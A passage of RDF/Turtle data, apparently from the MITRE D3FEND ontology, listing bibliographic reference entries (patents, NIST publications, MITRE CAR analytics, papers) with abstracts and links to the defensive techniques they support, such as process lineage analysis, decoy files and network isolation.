    d3f:kb-author "Joseph P. Bigus, Leon Gong, Christoph Lingenfelder" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Daedalus Group LLC (formerly IBM)" ;
    d3f:kb-reference-of d3f:ResourceAccessPatternAnalysis ;
    d3f:kb-reference-title "Modeling user access to computer resources" .

d3f:Reference-ModificationOfAServerToMimicADeceptionMechanism_AcalvioTechnologiesInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Modification of a Server to Mimic a Deception Mechanism - Acalvio Technologies Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170149825A1"^^xsd:anyURI ;
    d3f:kb-abstract "Provided are devices, computer-program products, and methods (e.g., methods implemented by a production system or security agent program or process) for providing services on a production system to mimic a deception mechanism. For example, a method can include determining a deception characteristic of a deception mechanism and determining a production characteristic of the production system. The method can further include determining an additional service or a modification of an existing service of the production system using the deception characteristic and the production characteristic. In some cases, the additional service and/or the modification can be a deterrent to potential attackers of the production system. The method can further include modifying the production system to mimic the deception mechanism, including adding the additional service to the production system or modifying the existing service using the modification." ;
    d3f:kb-author "Sreenivas Gukal, Rammohan Varadarajan" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Acalvio Technologies Inc" ;
    d3f:kb-reference-of d3f:ConnectedHoneynet ;
    d3f:kb-reference-title "Modification of a Server to Mimic a Deception Mechanism" .

d3f:Reference-Munin a d3f:SourceCodeReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Munin" ;
    d3f:has-link "https://github.com/Neo23x0/munin"^^xsd:anyURI ;
    d3f:kb-author "Florian Roth" ;
    d3f:kb-reference-title "Online Hash Checker for Virustotal and Other Services" .

d3f:Reference-NIST-RMF-Quick-Start-Guide-Assess-Step-FAQ a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NIST RMF Quick Start Guide - Assess Step - Frequently Asked Questions (FAQ)" ;
    d3f:has-link "https://csrc.nist.gov/CSRC/media/Projects/risk-management/documents/05-Assess%20Step/NIST%20RMF%20Assess%20Step-FAQs.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "Once security and privacy controls are implemented, they need to be evaluated for correctness and effectiveness. After the initial assessment is completed and the system enters the operations/maintenance phase of the system development life cycle, the controls are assessed on an ongoing basis according to the organization and system’s continuous monitoring plans. The ongoing assessment supports the authorizing official’s decision to continue or discontinue the system’s authorization to operate. Control effectiveness assessments are performed by an independent third-party assessor or assessment team if the system categorization is moderate or high." ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:OperationalRiskAssessment ;
    d3f:kb-reference-title "NIST RMF Quick Start Guide - Assess Step - Frequently Asked Questions (FAQ)" .

d3f:Reference-NIST-SP-800-53-R5 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NIST Special Publication 800-53 Revision 5: Security and Privacy Controls for Information Systems and Organizations" ;
    d3f:has-link "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "This publication provides a catalog of security and privacy controls for information systems and organizations to protect organizational operations and assets, individuals, other organizations, and the Nation from a diverse set of threats and risks, including hostile attacks, human errors, natural disasters, structural failures, foreign intelligence entities, and privacy risks. The controls are flexible and customizable and implemented as part of an organization-wide process to manage risk. The controls address diverse requirements derived from mission and business needs, laws, executive orders, directives, regulations, policies, standards, and guidelines. Finally, the consolidated control catalog addresses security and privacy from a functionality perspective (i.e., the strength of functions and mechanisms provided by the controls) and from an assurance perspective (i.e., the measure of confidence in the security or privacy capability provided by the controls). Addressing functionality and assurance helps to ensure that information technology products and the systems that rely on those products are sufficiently trustworthy" ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:PhysicalAccessMonitoring ;
    d3f:kb-reference-title "NIST Special Publication 800-53 Revision 5: Security and Privacy Controls for Information Systems and Organizations" .

d3f:Reference-NIST-Special-Publication-800-160-Volume-1 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NIST Special Publication 800-160 Volume 1 - System Security Engineering" ;
    d3f:has-link "https://doi.org/10.6028/NIST.SP.800-160v1"^^xsd:anyURI ;
    d3f:kb-abstract "With the continuing frequency, intensity, and adverse consequences of cyber-attacks, disruptions, hazards, and other threats to federal, state, and local governments, the military, businesses, and the critical infrastructure, the need for trustworthy secure systems has never been more important to the long-term economic and national security interests of the United States. Engineering-based solutions are essential to managing the growing complexity, dynamicity, and interconnectedness of today’s systems, as exemplified by cyber-physical systems and systems-of-systems, including the Internet of Things. This publication addresses the engineering-driven perspective and actions necessary to develop more defensible and survivable systems, inclusive of the machine, physical, and human components that compose the systems and the capabilities and services delivered by those systems. It starts with and builds upon a set of well-established International Standards for systems and software engineering published by the International Organization for Standardization (ISO), the International Electrotechnical Commission (IEC), and the Institute of Electrical and Electronics Engineers (IEEE) and infuses systems security engineering methods, practices, and techniques into those systems and software engineering activities. The objective is to address security issues from a stakeholder protection needs, concerns, and requirements perspective and to use established engineering processes to ensure that such needs, concerns, and requirements are addressed with appropriate fidelity and rigor, early and in a sustainable manner throughout the life cycle of the system." ;
    d3f:kb-author "Ron Ross, Michael McEvilley, and Janet Carrier Oren" ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:OperationalRiskAssessment ;
    d3f:kb-reference-title "NIST Special Publication 800-160 Volume 1 - Systems Security Engineering" .

d3f:Reference-NIST-Special-Publication-800-37-Revision-2 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NIST Special Publication 800-37 Revision 2 - Risk Management Framework for Information Systems and Organizations" ;
    d3f:has-link "https://doi.org/10.6028/NIST.SP.800-37r2"^^xsd:anyURI ;
    d3f:kb-abstract "This publication describes the Risk Management Framework (RMF) and provides guidelines for applying the RMF to information systems and organizations. The RMF provides a disciplined, structured, and flexible process for managing security and privacy risk that includes information security categorization; control selection, implementation, and assessment; system and common control authorizations; and continuous monitoring. The RMF includes activities to prepare organizations to execute the framework at appropriate risk management levels. The RMF also promotes near real-time risk management and ongoing information system and common control authorization through the implementation of continuous monitoring processes; provides senior leaders and executives with the necessary information to make efficient, cost-effective, risk management decisions about the systems supporting their missions and business functions; and incorporates security and privacy into the system development life cycle. Executing the RMF tasks links essential risk management processes at the system level to risk management processes at the organization level. In addition, it establishes responsibility and accountability for the controls implemented within an organization’s information systems and inherited by those systems." ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:OperationalRiskAssessment ;
    d3f:kb-reference-title "NIST Special Publication 800-37 Revision 2 - Risk Management Framework for Information Systems and Organizations" .

d3f:Reference-NISTIR-8011-Volume-1 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NISTIR 8011 Volume 1 - Automation Support for Security Control Assessments" ;
    d3f:has-link "https://doi.org/10.6028/NIST.IR.8011-1"^^xsd:anyURI ;
    d3f:kb-abstract "This volume introduces concepts to support automated assessment of most of the security controls in NIST Special Publication (SP) 800-53. Referencing SP 800-53A, the controls are divided into more granular parts (determination statements) to be assessed. The parts of the control assessed by each determination statement are called control items. The control items are then grouped into the appropriate security capabilities. As suggested by SP 800-53 Revision 4, security capabilities are groups of controls that support a common purpose. For effective automated assessment, testable defect checks are defined that bridge the determination statements to the broader security capabilities to be achieved and to the SP 800-53 security control items themselves. The defect checks correspond to security sub-capabilities-called sub-capabilities because each is part of a larger capability. Capabilities and sub-capabilities are both designed with the purpose of addressing a series of attack steps. Automated assessments (in the form of defect checks) are performed using the test assessment method defined in SP 800-53A by comparing a desired and actual state (or behavior)." ;
    d3f:kb-author "Kelley Dempsey, Paul Eavy, and George Moore" ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:OperationalRiskAssessment ;
    d3f:kb-reference-title "NIST Interagency Report 8011 Volume 1 - Automation Support for Security Control Assessments" .

d3f:Reference-Network-BasedBufferOverflowDetectionByExploitCodeAnalysis_InformationSecurityResearchCentre a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Network-Based Buffer Overflow Detection by Exploit Code Analysis - Information Security Research Centre" ;
    d3f:has-link "https://eprints.qut.edu.au/21172/1/21172.pdf"^^xsd:anyURI ;
    d3f:kb-abstract """Buffer overflow attacks continue to be a major security problem and detecting attacks of this nature
is therefore crucial to network security. Signature based network based intrusion detection systems (NIDS)
compare network traffic to signatures modelling suspicious or attack traffic to detect network attacks. Since
detection is based on pattern matching, a signature modelling the attack must exist for the NIDS to detect it, and
it is therefore only capable of detecting known attacks. This paper proposes a method to detect buffer overflow
attacks by parsing the payload of network packets in search of shellcode which is the remotely executable
component of a buffer overflow attack. By analysing the shellcode it is possible to determine which system
calls the exploit uses, and hence the operation of the exploit. Current NIDS-based buffer overflow detection
techniques mainly rely upon specific signatures for each new attack. Our approach is able to detect previously
unseen buffer overflow attacks, in addition to existing ones, without the need for specific signatures for each
new attack. The method has been implemented and tested for buffer overflow attacks on Linux on the Intel x86
architecture using the Snort NIDS.""" ;
    d3f:kb-author "Stig Andersson, Andrew Clark, and George Mohay" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Information Security Research Centre" ;
    d3f:kb-reference-of d3f:ByteSequenceEmulation ;
    d3f:kb-reference-title "Network-Based Buffer Overflow Detection by Exploit Code Analysis" .

d3f:Reference-NetworkMapping a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Network Mapping" ;
    d3f:has-link "https://en.wikipedia.org/wiki/Network_mapping"^^xsd:anyURI ;
    d3f:kb-author "https://en.wikipedia.org/" ;
    d3f:kb-reference-title "Network Mapping" .

d3f:Reference-NullPointerChecking_SEI a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Null Pointer Checking - SEI" ;
    d3f:has-link "https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers"^^xsd:anyURI ;
    d3f:kb-organization "Software Engineering Institute" ;
    d3f:kb-reference-of d3f:NullPointerChecking ;
    d3f:kb-reference-title "SEI CERT C Coding Standard" .

d3f:Reference-NullPointerDereference_CWE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - Null Pointer Dereferencing - CWE-476" ;
    d3f:has-link "https://cwe.mitre.org/data/definitions/476.html"^^xsd:anyURI ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:NullPointerChecking ;
    d3f:kb-reference-title "CWE-476: NULL Pointer Dereference" .

d3f:Reference-ONVIF-ProfileS a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - ONVIF Profile S" ;
    d3f:has-link "https://www.onvif.org/profiles/profile-s/"^^xsd:anyURI ;
    d3f:kb-abstract "Profile S specifies common interfaces for streaming video, PTZ, and related functions in IP-based video systems." ;
    d3f:kb-author "ONVIF" ;
    d3f:kb-reference-of d3f:VideoSurveillance ;
    d3f:kb-reference-title "ONVIF Profile S Specification" .

d3f:Reference-OSQueryWindowsUserCollectionCode a d3f:SourceCodeReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - OS Query Windows User Collection Code" ;
    d3f:has-link "https://github.com/osquery/osquery/blob/d2be385d71f401c85872f00d479df8f499164c5a/osquery/tables/system/windows/users.cpp"^^xsd:anyURI ;
    d3f:kb-reference-title "OS Query Windows User Collection Code" .

d3f:Reference-OpenSourceIntelligenceDeceptions_IllusiveNetworksLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Open source intelligence deceptions - Illusive Networks Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US10333976B1/en?assignee=Illusive+Networks+Ltd&oq=Illusive+Networks+Ltd+"^^xsd:anyURI ;
    d3f:kb-abstract "A system to detect attackers who attempt to breach an enterprise network and attackers who have already breached the enterprise network, including an open source intelligence (OSINT) discoverer scanning the Internet to discover data related to an enterprise that is available online, an OSINT replacer generating deceptive files by replacing placeholders within template files with deceptive information, based on the data discovered by the OSINT discoverer, an OSINT distributor planting the deceptive files generated by the OSINT replacer within designated OSINT resources, and a deception management server that alerts an administrator in response to an attacker attempting to make a connection within the network using information in a deceptive file planted by the OSINT distributor." ;
    d3f:kb-author "Hadar Yudovich; Nimrod Lavi; Sharon Bittan; Tom Kahana; Tom Sela" ;
    d3f:kb-mitre-analysis "Seems to focus on configuration oriented files to put in decoy hostnames etc. to publish on internet sites, then monitor the decoy \"objects\"." ;
    d3f:kb-organization "Illusive Networks Ltd" ;
    d3f:kb-reference-of d3f:DecoyFile ;
    d3f:kb-reference-title "Open source intelligence deceptions" .

d3f:Reference-OrganizationalManagementInSAPERPHCM a d3f:BookReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Organizational Management in SAP ERP HCM" ;
    d3f:has-link "https://www.sap-press.com/organizational-management-in-sap-erp-hcm_3996/"^^xsd:anyURI ;
    d3f:kb-author "Soham Ray" ;
    d3f:kb-organization "SAP Press" ;
    d3f:kb-reference-of d3f:OrganizationMapping ;
    d3f:kb-reference-title "Organization Mapping in SAP ERP HCM" .

d3f:Reference-OutlierParentsOfCmd_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-11-002: Outlier Parents of Cmd - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-11-002/"^^xsd:anyURI ;
    d3f:kb-abstract """Many programs create command prompts as part of their normal operation including malware used by attackers. This analytic attempts to identify suspicious programs spawning cmd.exe by looking for programs that do not normally create cmd.exe.

While this analytic does not take the user into account, doing so could generate further interesting results. It is very common for some programs to spawn cmd.exe as a subprocess, for example to run batch files or windows commands. However many process don't routinely launch a command prompt - for example Microsoft Outlook. A command prompt being launched from a process that normally doesn't launch command prompts could be the result of malicious code being injected into that process, or of an attacker replacing a legitimate program with a malicious one.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2014-11-002: Outlier Parents of Cmd" .

d3f:Reference-PLCKeySwitchMonitoring a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Value of PLC Key Switch Monitoring to Keep Critical Systems More Secure" ;
    d3f:has-link "https://www.dragos.com/blog/industry-news/value-of-plc-key-switch-monitoring/"^^xsd:anyURI ;
    d3f:kb-abstract "Programmable Logic Controllers (PLC) and Safety Instrumented Systems (SIS) Controllers have historically included an external switch, generally in the form of a key, to perform maintenance and troubleshooting. The key switch has become commonplace for automation engineers and technicians who maintain and support these systems and understand the importance of the little switch in overall device operation and affects the underlying process." ;
    d3f:kb-author "DRAGOS" ;
    d3f:kb-reference-of d3f:OperatingModeMonitoring ;
    d3f:kb-reference-title "Value of PLC Key Switch Monitoring to Keep Critical Systems More Secure" .

d3f:Reference-PLX3x-Series-Multi-Protocol-Gateways a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - PLX3x Series Multi-Protocol Gateways" ;
    d3f:has-link "https://www.prosoft-technology.com/prosoft/download/9671/182665/file/PLX3x_UserManual"^^xsd:anyURI ;
    d3f:kb-abstract """This document explains the features of the PLX3x gateway. It guides you through
configuration, showing how to map data between a device or network, through the
gateway, to a PLC or PAC. The ProSoft Configuration Builder software creates files to
import into the PLC or PAC programming software, integrating the gateway into your
system. You can also map data between areas in the gateway's internal database. This
allows you to copy data to different addresses within the gateway database in order to
create easier data requests and control.
The PLX3x gateways are stand-alone DIN-rail mounted units that provide one Ethernet
port for communications, remote configuration, and diagnostics. Your specific gateway
may include additional ports depending on the supported protocols. The gateway has an
SD Card slot (SD card optional) that allows you to store configuration files that you can
use for recovery, transferring the configuration to another gateway, or general
configuration backup.""" ;
    d3f:kb-organization "ProSoft Technology" ;
    d3f:kb-reference-of d3f:OTVariableAccessRestriction ;
    d3f:kb-reference-title "PLX3x Series Multi-Protocol Gateways" .

d3f:Reference-PointerAuthenticationOnARMv8.3 a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Pointer Authentication on ARMv8.3" ;
    d3f:has-link "https://www.qualcomm.com/media/documents/files/whitepaper-pointer-authentication-on-armv8-3.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "The pointer authentication scheme introduced by ARM is a software security primitive that makes it much harder for an attacker to modify protected pointers in memory without being detected. In this document, we will provide more details about the Pointer Authentication mechanism, provide a security analysis, and discuss the implementation of certain software security countermeasures, such as stack protection and control flow integrity, using the Pointer Authentication primitives." ;
    d3f:kb-author "Qualcomm Technologies, Inc" ;
    d3f:kb-organization "Qualcomm Technologies, Inc" ;
    d3f:kb-reference-of d3f:PointerAuthentication ;
    d3f:kb-reference-title "Pointer Authentication on ARMv8.3" .

d3f:Reference-PointerAuthenticationProjectZero a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Pointer Authentication Project Zero" ;
    d3f:has-link "https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html"^^xsd:anyURI ;
    d3f:kb-abstract "In this post I examine Apple's implementation of Pointer Authentication on the A12 SoC used in the iPhone XS, with a focus on how Apple has improved over the ARM standard. I then demonstrate a way to use an arbitrary kernel read/write primitive to forge kernel PAC signatures for the A keys, which is sufficient to execute arbitrary code in the kernel using JOP. The technique I discovered was (mostly) fixed in iOS 12.1.3. In fact, this fix first appeared in the 16D5032a beta while my research was still ongoing." ;
    d3f:kb-author "Brandon Azad" ;
    d3f:kb-organization "Project Zero, Google, Inc" ;
    d3f:kb-reference-of d3f:PointerAuthentication ;
    d3f:kb-reference-title "Examining Pointer Authentication on the iPhone XS" .

d3f:Reference-PostSandboxMethodsAndSystemsForDetectingAndBlockingZero-dayExploitsViaApiCallValidation_K2CyberSecurityInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Post sandbox methods and systems for detecting and blocking zero-day exploits via api call validation - K2 Cyber Security Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190138715A1/"^^xsd:anyURI ;
    d3f:kb-abstract "In one aspect, a method useful for monitoring and validating execution of executable binary code, includes the step of disassembling an executable binary code of an application. The method includes the step of detecting and obtaining location and type of an application programming interface (API) call, system call, and privileged instruction that is executed by the executable binary code. The method includes the step of detecting and obtaining return address from an Al call and system call. The method includes the step of validating location of the API call system call, and privileged instruction. The method includes the step of validating return from the API call and system call." ;
    d3f:kb-author "Jayant Shukla" ;
    d3f:kb-mitre-analysis """The patent describes a technique for monitoring API calls. Executable binary code of an application is first disassembled and scanned for API calls. Based on the recorded API calls, a rule list is generated. Software hooks are placed in the code for monitoring API calls during program execution and then each API call is validated using the generated rule list to permit or deny execution of API calls.

Rules are created that specify the type and location of the API call. For example, data collected for an application can show an API call to libc at address 0x43e0 and an API call by libc at address 0xlfb47. Accordingly, two rules are generated. The first rule specifies the location type and target of the API call at address 0x43e0, as well as the return address. The second rule is for the API call to the kernel and states the target address, return address, instruction, and target type.""" ;
    d3f:kb-organization "K2 Cyber Security Inc" ;
    d3f:kb-reference-of d3f:SystemCallAnalysis ;
    d3f:kb-reference-title "Post sandbox methods and systems for detecting and blocking zero-day exploits via api call validation" .

d3f:Reference-PowershellExecution_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-04-003: Powershell Execution - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-04-003/"^^xsd:anyURI ;
    d3f:kb-abstract """PowerShell is a scripting environment included with Windows that is used by both attackers and administrators. Execution of PowerShell scripts in most Windows versions is opaque and not typically secured by antivirus which makes using PowerShell an easy way to circumvent security measures. This analytic detects execution of PowerShell scripts.

Powershell can be used to hide monitored command line execution such as:

* net use
* sc start""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2014-04-003: Powershell Execution" .

d3f:Reference-PredictingDomainGenerationAlgorithmsWithLongShort-TermMemoryNetworks_ a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Predicting Domain Generation Algorithms with Long Short-Term Memory Networks" ;
    d3f:has-link "https://arxiv.org/abs/1611.007911"^^xsd:anyURI ;
    d3f:kb-abstract "Various families of malware use domain generation algorithms (DGAs) to generate a large number of pseudo-random domain names to connect to a command and control (C&C) server. In order to block DGA C&C traffic, security organizations must first discover the algorithm by reverse engineering malware samples, then generating a list of domains for a given seed. The domains are then either preregistered or published in a DNS blacklist. This process is not only tedious, but can be readily circumvented by malware authors using a large number of seeds in algorithms with multivariate recurrence properties (e.g., banjori) or by using a dynamic list of seeds (e.g., bedep). Another technique to stop malware from using DGAs is to intercept DNS queries on a network and predict whether domains are DGA generated. Such a technique will alert network administrators to the presence of malware on their networks. In addition, if the predictor can also accurately predict the family of DGAs, then network administrators can also be alerted to the type of malware that is on their networks. This paper presents a DGA classifier that leverages long short-term memory (LSTM) networks to predict DGAs and their respective families without the need for a priori feature extraction. Results are significantly better than state-of-the-art techniques, providing 0.9993 area under the receiver operating characteristic curve for binary classification and a micro-averaged F1 score of 0.9906. In other terms, the LSTM technique can provide a 90% detection rate with a 1:10000 false positive (FP) rate---a twenty times FP improvement over comparable methods. Experiments in this paper are run on open datasets and code snippets are provided to reproduce the results." ;
    d3f:kb-author "Jonathan Woodbridge, Hyrum S. Anderson, Anjum Ahuja, Daniel Grant" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:DNSTrafficAnalysis ;
    d3f:kb-reference-title "Predicting Domain Generation Algorithms with Long Short-Term Memory Networks" .

d3f:Reference-PreventingExecutionOfTaskScheduledMalware_McAfeeLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Preventing execution of task scheduled malware - McAfee LLC" ;
    d3f:has-link "https://patents.google.com/patent/US20160105450A1"^^xsd:anyURI ;
    d3f:kb-abstract "A method for preventing malware attacks includes the steps of detecting an attempt on an electronic device to access a task scheduler, determining an entity associated with the attempt to access the task scheduler, determining a malware status of the entity, and, based on the malware status of the entity, allowing or denying the attempted access to the task scheduler. The task scheduler is configured to launch one or more applications at a specified time or interval." ;
    d3f:kb-author "Anil Ramabhatta, Harinath Vishwanath Ramachetty, Nandi Dharma Kishore" ;
    d3f:kb-mitre-analysis "Access to a job scheduler is intercepted using hooking or file filters to identify and analyze the source files, processes, destination files, or destination servers associated with a scheduled job. The identified servers or files associated with a job are compared against an anti-malware signature database or reputation server to determine if it there is a match. If so, execution is denied and an alert is generated." ;
    d3f:kb-organization "McAfee LLC" ;
    d3f:kb-reference-of d3f:ScheduledJobAnalysis ;
    d3f:kb-reference-title "Preventing execution of task scheduled malware" .

d3f:Reference-PrivacyAndSecuritySystemsAndMethodsOfUse a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Privacy and security systems and methods of use" ;
    d3f:has-link "https://patents.google.com/patent/US10128890B2/en"^^xsd:anyURI ;
    d3f:kb-author "Teddy David Thomas" ;
    d3f:kb-reference-title "Privacy and security systems and methods of use" .

d3f:Reference-PrivateApplicationAccessWithBrowserIsolation a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Private application access with browser isolation" ;
    d3f:has-link "https://patents.google.com/patent/US20210250333A1"^^xsd:anyURI ;
    d3f:kb-reference-of d3f:Application-basedProcessIsolation ;
    d3f:kb-reference-title "Private application access with browser isolation" .

d3f:Reference-PrivateVirtualLocalAreaNetworkIsolation_CiscoTechnologyInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Private virtual local area network isolation - Cisco Technology Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20120331142A1"^^xsd:anyURI ;
    d3f:kb-abstract "In one embodiment, a method includes obtaining addresses of end hosts at a switch, the switch configured with a primary virtual local area network and a secondary virtual local area network, creating a private virtual local area network access list comprising the addresses of end hosts permitted to communicate on the secondary virtual local area network, and applying the private virtual local area network access list to interfaces connected to the end hosts permitted to communicate on the secondary virtual local area network. An apparatus is also disclosed." ;
    d3f:kb-author "Anuraag Mittal, Huei-Ping Chen" ;
    d3f:kb-organization "Cisco Technology Inc" ;
    d3f:kb-reference-of d3f:BroadcastDomainIsolation ;
    d3f:kb-reference-title "Private virtual local area network isolation" .

d3f:Reference-ProcessesSpawningCmd.exe_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-02-003: Processes Spawning cmd.exe - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-02-003/"^^xsd:anyURI ;
    d3f:kb-abstract "The Windows Command Prompt (cmd.exe) is a utility that provides a command line interface to Windows operating systems. It provides the ability to run additional programs and also has several built-in commands such as dir, copy, mkdir, and type, as well as batch scripts (.bat). Typically, when a user runs a command prompt, the parent process is explorer.exe or another instance of the prompt. There may be automated programs, logon scripts, or administrative tools that launch instances of the command prompt in order to run scripts or other built-in commands. Spawning the process cmd.exe from certain parents may be more indicative of malice. For example, if Adobe Reader or Outlook launches a command shell, this may suggest that a malicious document has been loaded and should be investigated. Thus, by looking for abnormal parent processes of cmd.exe, it may be possible to detect adversaries." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2013-02-003: Processes Spawning cmd.exe" .

d3f:Reference-ProtectedComputingEnvironment_MicrosoftTechnologyLicensingLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Protected computing environment - Microsoft Technology Licensing LLC" ;
    d3f:has-link "https://patents.google.com/patent/US20060242406A1"^^xsd:anyURI ;
    d3f:kb-abstract "A method of establishing a protected environment within a computing device including validating a kernel component loaded into a kernel of the computing device, establishing a security state for the kernel based on the validation, creating a secure process and loading a software component into the secure process, periodically checking the security state of the kernel, and notifying the secure process when the security state of the kernel has changed." ;
    d3f:kb-author "Sumedh Barde, Jonathan Schwartz, Reid Kuhn, Alexandre Grigorovitch, Kirt Debique, Chadd Knowlton, James Alkove, Geoffrey Dunbar, Michael Grier, Ming Ma, Chaitanya Upadhyay, Adil Sherwani, Arun Kishan" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Microsoft Technology Licensing LLC" ;
    d3f:kb-reference-of d3f:DriverLoadIntegrityChecking ;
    d3f:kb-reference-title "Protected computing environment" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ProtectingAgainstDistributedDenialOfServiceAttacks-CiscoTechnologyInc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Protecting against distributed denial of service attacks - Cisco Technology Inc." ;
    d3f:has-link "https://patents.google.com/patent/US7171683B2"^^xsd:anyURI ;
    d3f:kb-abstract "A method for authenticating packet communication traffic includes receiving a data packet sent over a network from a source address to a destination address and reading from the packet a value of a field that is indicative of a number of hops traversed by the packet since having been sent from the source address. The authenticity of the source address is assessed responsive to the value." ;
    d3f:kb-author "Guy Pazi, Anat Bremler-Bar, Rami Rivlin, Dan Touitou" ;
    d3f:kb-organization "Cisco Technologies Inc." ;
    d3f:kb-reference-of d3f:InboundSessionVolumeAnalysis ;
    d3f:kb-reference-title "Protecting against distributed denial of service attacks" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ProtectingAgainstDistributedNetworkFloodAttacks-JuniperNetworksInc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Protecting against distributed network flood attacks - Juniper Networks Inc." ;
    d3f:has-link "https://patents.google.com/patent/US8789173B2"^^xsd:anyURI ;
    d3f:kb-abstract "A network security device performs a three-stage analysis of traffic to identify malicious clients. In one example, a device includes an attack detection module to, during a first stage, monitor network connections to a protected network device, during a second stage, to monitor a plurality of types of transactions for the plurality of network sessions when a parameter for the connections exceeds a connection threshold, and during a third stage, to monitor communications associated with network addresses from which transactions of the at least one of type of transactions originate when a parameter associated with the at least one type of transactions exceeds a transaction-type threshold. The device executes a programmed action with respect to at least one of the network addresses when the transactions of the at least one of the plurality of types of transactions originating from the at least one network address exceeds a client-transaction threshold." ;
    d3f:kb-author "Krishna Narayanaswamy, Bryan Burns, Venkata Rama Raju Manthena" ;
    d3f:kb-organization "Juniper Networks Inc." ;
    d3f:kb-reference-of d3f:InboundSessionVolumeAnalysis ;
    d3f:kb-reference-title "Protecting against distributed network flood attacks" .

d3f:Reference-ProtectingWebApplicationsFromUntrustedEndpointsUsingRemoteBrowserIsolation a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Protecting web applications from untrusted endpoints using remote browser isolation" ;
    d3f:has-link "https://patents.google.com/patent/US11477248B2/"^^xsd:anyURI ;
    d3f:kb-reference-of d3f:Application-basedProcessIsolation ;
    d3f:kb-reference-title "Protecting web applications from untrusted endpoints using remote browser isolation" .

d3f:Reference-ProtocolBasedDetectionOfSuspiciousNetworkTraffic a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Protocol based detection of suspicious network traffic" ;
    d3f:has-link "https://patents.google.com/patent/US10084816B2/"^^xsd:anyURI ;
    d3f:kb-abstract "Embodiments of the present invention relate to identification of suspicious network traffic indicative of a Botnet and/or an Advanced Persistent Threat (APT) based on network protocol of such traffic. According to one embodiment, a traffic file is received at a network security device that is protecting a private network. The traffic file contains therein network traffic associated with the private network that has been captured and stored. The received traffic file is processed by the network security device to determine whether the network traffic relates to a network protocol that is indicative of existence of a network security threat within the private network. When existence of the network security threat is detected, then the network security device reports details regarding the network security threat." ;
